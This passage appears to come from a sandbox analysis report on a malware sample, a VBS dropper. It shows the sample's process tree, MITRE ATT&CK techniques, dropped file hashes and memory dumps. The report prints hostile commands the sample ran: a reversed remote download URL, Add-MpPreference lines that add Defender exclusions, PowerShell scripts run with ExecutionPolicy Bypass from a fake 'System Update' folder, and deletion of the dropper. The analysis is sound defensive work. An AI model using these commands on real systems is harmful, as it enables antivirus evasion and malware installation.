'txt.pj/ssc/sedulcni-pw/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2520
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
      4⤵
      PID:3644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\ftbau.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1400
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2172
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 620
        6⤵
        Program crash
        
        PID:3100
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\注文仕様書.vbs"
      4⤵
      PID:4996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2172 -ip 2172
1⤵
PID:3500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\ftbau.ps1

Filesize
1.2MB

MD5
8481d9764cda27d097559253f6c5804a

SHA1
813e576e5f5ee54ee74ead61e30b6e3d04a377a3

SHA256
3d641dae182ce73851fcfb842ba19ba70f0e5c2b02730fc66948cec688d3949d

SHA512
3a0b4eb5fd1e01656256308c40e5eca3eb036e33fe686ce22dc6223b2057359db0da020aab8d80c1c68f0b60b17565bf37c60e76224b4fecb5c320c52d9cd282

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
336B

MD5
aaeabf4f965c1161437b33a7c7c17c27

SHA1
464fbfe4af15b81178a90def9e71dc68d8d632e6

SHA256
83c65e1a0a54a8a7573ab314ecee81d8e89e265d1de45fb08faed1e5c33b2fc3

SHA512
95c1437a38e1541021bd8316ce908a8114da7a6190839e7050a238e314142af979d0745693fa979977b9ed316f984142fc8e241b5ad5cc4e251a7c676d3823de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9f137306c0052dadfa282f98bdd090c8

SHA1
188c69096facf9d386e07071fbc010a439e9c587

SHA256
dd5f322dc51b0d58ce8486751b488d56158a6c616a4079a0d1f260ecc3dbfacd

SHA512
6209fd29932e67f1e9ab2144615c6b3033587f3785c68a894b0e607558450c07f48a00b3456dd241d2413a4c5040b81fae86d83589dae18a2a56b312f83e4970

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c1a54dd5a1ab44cc4c4afd42f291c863

SHA1
b77043ab3582680fc96192e9d333a6be0ae0f69d

SHA256
c6dce870a896f3531ae7a10a0c2096d2eb7eb5989ae783aefea6150279502d75

SHA512
010f5093f58b0393d17c824a357513cf4f06239ccddd86c2e0581347ef3b8e7b93f869b0770bdaeb000e4fda7e14f49b9e45663a3839ab049446e9fe08ec535d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eju3m1h0.ljn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/952-11-0x00007FF960200000-0x00007FF960CC1000-memory.dmp

Filesize
10.8MB

Download
memory/952-0-0x00007FF960203000-0x00007FF960205000-memory.dmp

Filesize
8KB

Download
memory/952-12-0x00007FF960200000-0x00007FF960CC1000-memory.dmp

Filesize
10.8MB

Download
memory/952-64-0x00007FF960200000-0x00007FF960CC1000-memory.dmp

Filesize
10.8MB

Download
memory/952-1-0x00000185252F0000-0x0000018525312000-memory.dmp

Filesize
136KB

Download
memory/1400-78-0x0000021A623A0000-0x0000021A623AA000-memory.dmp

Filesize
40KB

Download
memory/2172-79-0x0000000000400000-0x0000000000454000-memory.dmp

Filesize
336KB

Download
memory/2172-83-0x0000000000400000-0x0000000000454000-memory.dmp

Filesize
336KB

Download
memory/2172-81-0x0000000000400000-0x0000000000454000-memory.dmp

Filesize
336KB

Download
memory/2312-22-0x000001E9562B0000-0x000001E9562BA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads